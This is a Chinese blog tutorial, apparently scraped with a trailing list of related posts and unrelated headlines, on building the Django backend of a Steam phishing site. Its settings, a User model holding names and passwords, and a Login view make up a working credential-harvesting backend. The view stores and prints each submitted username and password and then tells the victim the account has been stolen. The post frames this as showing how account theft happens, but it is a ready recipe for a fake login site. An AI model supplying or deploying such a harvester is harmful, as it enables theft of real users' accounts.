前言

我们日常上网的时候,总是会碰到一些盗号的网站,或者是别人发一些链接给你,里面的内容是一些可以免费购物网站的优惠券、游戏官网上可以免费领取皮肤、打折的游戏。

这些盗号网站统一的目的都是要你登录账号输入密码,点击登录,不过就是永远会提示你密码错误,登录不上。但你输入的所有信息,都会出现在别人的电脑上

这些网站盗号网站之所以能骗得过别人,是因为做得基本和正版的官方网站没有什么差别。不能说毫无差别,只能说是一模一样

而今天,我们的目的就是搭建一个这样的网站后端,简单的还原一下你被盗号的过程

主页左侧可以免费领取【代码】【相关教程、资料】,或者对于本篇文章有疑问的同学可以私信我

环境搭建

安装Django模块

pip install django[==版本]

如:pip install django==3.0
安装django的指定版本

创建Django项目

在命令指示符里数据命令

django-admin startproject steam_web

manage.py是命令文件,如果要运行Django内置的命令,必须要通过这个文件才行

创建子应用

把网站的各个模块拆分成子应用

python manage.py startapp login


会生成一个login文件,打开文件

介绍下我们会用到的文件

models.py文件:数据模型
views.py文件:用来控制页面逻辑

查看项目是否环境配置成功

可以用pycharm直接打开文件,然后点击运行

运行后会给出一段域名,点击打开

如果出现下面的页面,就说明该项目环境配置成功了

开始实现功能

点击进入settings.py文件,进行定制化修改

Application definition 网站子应用进行注册,在最后一行写入login

# Application definition
# 网站子应用进行注册
INSTALLED_APPS = ['django.contrib.admin','django.contrib.auth','django.contrib.contenttypes','django.contrib.sessions','django.contrib.messages','django.contrib.staticfiles','login',
]

创建一个templates文件,并修改代码

# templates 文件夹的配置项
TEMPLATES = [{'BACKEND': 'django.template.backends.django.DjangoTemplates','DIRS': [os.path.join(BASE_DIR, 'templates')],'APP_DIRS': True,'OPTIONS': {'context_processors': ['django.template.context_processors.debug','django.template.context_processors.request','django.contrib.auth.context_processors.auth','django.contrib.messages.context_processors.messages',],},},
]

配置网站默认语言、时间

# 网站默认语言 英文 修改成中文
LANGUAGE_CODE = 'zh-hans'
# 当前时间
TIME_ZONE = 'Asia/Shanghai'USE_I18N = TrueUSE_L10N = TrueUSE_TZ = False

最后在刷新网站页面,就变成了中文

静态页面当中的文件夹配置,并在总目录中创建一个static文件夹

STATIC_URL = '/static/'
STATICFILES_DIRS = [os.path.join(BASE_DIR, 'static'),
]

导入所需文件

开始编写数据模型

打开**models.py文件,需要去创建一个模型类

from django.db import models# Create your models here.class User(models.Model):name = models.CharField(max_length=20)pwd = models.CharField(max_length=20)

编写视图

打开views.py文件,编写视图,是控制网站与用户的交互逻辑

# 渲染html文件到浏览器的
from django.shortcuts import render
from django.views.generic import View
from .models import User
from django.http import HttpResponse
# Create your views here.# 在浏览器中显示网站首页
def index(request):return render(request, 'index.html')# 登录类视图
class Login(View):def get(self, request):return render(request, 'denlu.html', locals())'''当用户在页面中输入了一些数据可以使用post去做接收'''def post(self, request):name = request.POST.get('username')pwd = request.POST.get('password')User.objects.create(name=name, pwd=pwd).save()print(name)print(pwd)return HttpResponse('你的账号已经被盗, 溜了 溜了~')

在urls.py文件里编写路由

from django.contrib import admin
from django.urls import path
from login.views import index, Loginurlpatterns = [path('admin/', admin.site.urls),path('', index, name='index'),path('login/', Login.as_view(), name='login')
]

同步数据库

因为只是个教学,所以用是自带的:sqlite3,文件型小型数据库

点击打开后,在这里输入makemigrations,这是将数据模型中的字段编译成一个Python的脚本,包含了sql语言

确定后会给你生成一个0001_initial.py文件

然后在执行脚本,输入 migrate 将数据模型映射到数据库中

运行文件,效果如下图

选择点击登录,输入账号密码,点击确定

然后你的账号密码会被打印出来

用Python Django搭建简单一个steam钓鱼网站,只要免费领游戏,一钓一个准相关推荐

  1. 用Python Django搭建简单一个steam钓鱼网站

    嗨嗨,我是小圆 有没有人遇到过自己的号被盗了的情况 我就遇到过,朋友给我分享一个链接稀里糊涂的点进去了,在输入密码的时候一直显示错误,没多久自己的号就被盗了. 这些网站之所以能骗得过别人,就是因为做的 ...

  2. Python django实现简单的邮件系统发送邮件功能

    Python django实现简单的邮件系统发送邮件功能 本文实例讲述了Python django实现简单的邮件系统发送邮件功能. django邮件系统 Django发送邮件官方中文文档 总结如下: ...

  3. Python+Django+Mysql简单在线课程推荐系统 基于用户、项目、内容的协同过滤推荐算法 SimpleOnlineCourseCFRSPyth python实现协同过滤推荐算法实现源代码下载

    Python+Django+Mysql简单在线课程推荐系统 基于用户.项目.内容的协同过滤推荐算法 SimpleOnlineCourseCFRSPyth python实现协同过滤推荐算法实现源代码下载 ...

  4. Python Django 搭建文件下载服务器

    本文仅供学习交流使用,如侵立删!demo下载见文末 Python Django 搭建文件下载服务器 环境 win10 Python:3.6.7 Django:2.2.7 运行效果 1.创建 Djang ...

  5. 【有趣的Python小程序】Python多个简单上手的库制作WalkLattice 走格子游戏 (思路篇)上

    篇写上一个思路篇,那么今天我们就来完成这一项工作 源代码和配套文件 链接: https://caiyun.139.com/m/i?135ClY1yWrSKX 提取码:e4pq 复制内容打开中国移动云盘 ...

  6. 为何钓鱼网站一钓一个准?Python Django带你搭建steam钓鱼网站

    前言 我们日常上网的时候,总是会碰到一些盗号的网站,或者是别人发一些链接给你,里面的内容是一些可以免费购物网站的优惠券.游戏官网上可以免费领取皮肤.打折的游戏. 这些盗号网站统一的目的都是要你登录账号 ...

  7. Nginx + uWSGI + Python + Django搭建一款只属于自己的壁纸网站

    写在前面 做这个网站的初衷是因为,每次打开必应搜索搜东西的时候都会被上面的背景图片吸引,我想必应的壁纸应该是经过专业人员精选出来的,我甚至会翻看以前的历史图片,唯一美中不足的是必应的首页只能查看最多7 ...

  8. python +Django 搭建web开发环境初步,显示当前时间

    1.python 的安装 网上很多关于django跟python 开发的资料,这块我正在实习准备用这个两个合起来搞一个基于web 的东西出来现在开始学习,写点东西记录一下心得. 开发环境是window ...

  9. Python+Django实现简单HelloWord网页

    安装Django 使用anaconda在python环境中安装django包 pip install django 创建Django项目 使用django-admin在命令行创建 django-adm ...

最新文章

  1. Spring-----projects-----概述
  2. 任务计划cron、服务管理工具chkconfig/systemctl
  3. git bash打印当前文件结构_6 个方便的 Git 脚本
  4. 「会会」产品体验报告
  5. cp ft wat_Java数组,Wat!
  6. 拼多多回应驰伟插座起诉:积极应诉 希望其莫充当电商“二选一”插头
  7. 简述相关与回归分析的关系_分类数据与分类数据的相关关系分析
  8. java遍历字符串_Java后端开发算法基础面试题分享,你离大厂也许就差这份面试题
  9. android通知悬浮通知_Android通知直接回覆
  10. 字典(JSON)数据写入文件并换行,Python
  11. 手机怎么压缩证件照大小?这样压缩太简单
  12. 非常好的产品研发管理文章,后面问题回答的很精彩(转)
  13. Cesium深入浅出之如何获取帧率
  14. 为什么ASO很重要?
  15. Android压缩图片并且保存到本地内存卡中
  16. [GYCTF2020]Ez_Express
  17. android 服务保活之白名单,Android保活从入门到放弃:乖乖引导用户加白名单吧(附7大机型加白示例)...
  18. 国债期货合约代码是什么字母
  19. 阿里大鱼短信接口教程php,ECSHOP短信接口【ECSHOP阿里大鱼短信】ECSHOP短信插件手机短信服务设置教程-ECSHOP教程网...
  20. 每天一个设计模式之模板方法模式(Template Method Pattern)

热门文章

  1. 【Springcloud】(06)中级搭建-OpenFeign服务调用
  2. labelview标签列表控件的使用介绍
  3. 盲盒交友变现系统/脱单盲盒/一元交友/存取小纸条盲盒/分销功能/盲盒交友小程序
  4. 【BOI2011】trapezoid
  5. 【数字图像处理】【Matlab】【作业六】几何变换(平移、缩放、旋转、镜像、转置等)
  6. 适合程序员的耳机_程序员编程时都戴耳机?他们在听什么?
  7. word使用dot模板以spring word 模板为例
  8. csgo没显示重新连接服务器,csgo正在重新连接游戏服务器
  9. 有了for循环 为什么还要forEach?
  10. ps2021神经网络滤镜不可用,ps神经网络滤镜用不了